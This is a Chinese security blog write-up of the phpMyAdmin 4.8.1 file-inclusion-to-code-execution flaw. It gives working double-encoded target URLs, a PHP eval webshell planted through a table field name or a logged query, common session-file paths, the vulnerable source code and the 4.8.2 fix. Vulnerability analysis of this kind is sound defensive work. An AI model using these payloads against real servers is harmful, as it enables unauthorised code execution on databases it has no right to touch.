首页 » NetworkSec » Penetration » 正文

phpmyadmin4.8.x LFI to RCE

0x00 概述

6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。
 

0x01 漏洞重现

环境:win7+xampp+phpmyadmin4.8.1
Payload:
http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini

成功包含system.ini。
进入下一阶段:命令执行
方式一:包含frm
先查看data文件路径:show variables like ‘%datadir%’;

在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?>
再包含mysql/data/test/pmatest1.frm即可rce,
payload:
http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm

方式二:包含sess文件
利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定:
xmapp中保存在
xampp/tmp/sess_pmavalue
phpstudy:
/phpstudy/PHPTutorial/tmp/tmp
wamp:
/wamp64/tmp
在Linux下,常见的文件路径为: /var/lib/php/session/
在phpmyadmin中执行查询
SELECT ‘<?php @eval($_GET[lsa]); exit();?>’
被记录在sess_pmavalue中

payload:
http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia
//因为export.php%3f当成了目录,所以要多一个../
/*使用绝对路径也可以,如:
http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn
*/

//不知为何用写入$_POST包含就会跳转首页……
 

0x02 漏洞分析

漏洞文件:
.\index.php:55

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

target符合4个条件就会includ
1. 是字符串
2. 不以index开头
3. 不在 $target_blacklist名单里
4. 符合checkPageValidity函数要求
 
找checkPageValidity函数:
libraries\classes\Core.php:443

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
 
        if (in_array($page, $whitelist)) {
            return true;
        }
 
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
 
        return false;
    }

需要返回true,三个if有一个满足true就ok了,都需要满足whitelist:

class Core
{
    /**
     * the whitelist for goto parameter
     * @static array $goto_whitelist
     */
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

这里随意选一个就可以,如export.php(构造完payload就不在blacklist里了)
第一个if:
if (in_array($page, $whitelist)) {
return true;
}
没希望。
第二个if:
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
mb_strpos:返回string0在string1中首次出现的位置
mb_substr:提取string从0到x个长度的字符(串)
所以可以尝试:
explort.php?/../../../../../../windows/system.ini
但是在win下?后会被当成参数无法跨目录。
第三个if:
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
 
return false;
}
就比第二个if多了urldecode($page)就出问题了。
将?双重编码(%25%33%66或%253f)即可返回true。
因为$_REQUEST自动解码一次,变成%3f,再经过urldecode一次变成?。
include $_REQUEST[‘target’];
就变成
include ‘export.php%3f/../../../../../../../../../windows/system.ini
 

0x03 修复方案

升级到4.8.2
修复代码:
Index.php:59
Core::checkPageValidity($_REQUEST[‘target’], [], true)
传了个true,在看看这个函数
libraries\classes\Core.php:444

public static function checkPageValidity(&$page, array $whitelist = [], $include = false)
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
 
        if (in_array($page, $whitelist)) {
            return true;
        }
        if ($include) {
            return false;
        }

直接返回false无法包含了……
 

0x04 结语

又多了一种phpmyadmin的漏洞利用方法,不只限于select日志或into outfile了。
 

0x05 参考资料

www.freebuf.com/vuls/176064.html

Comment

please input captcha *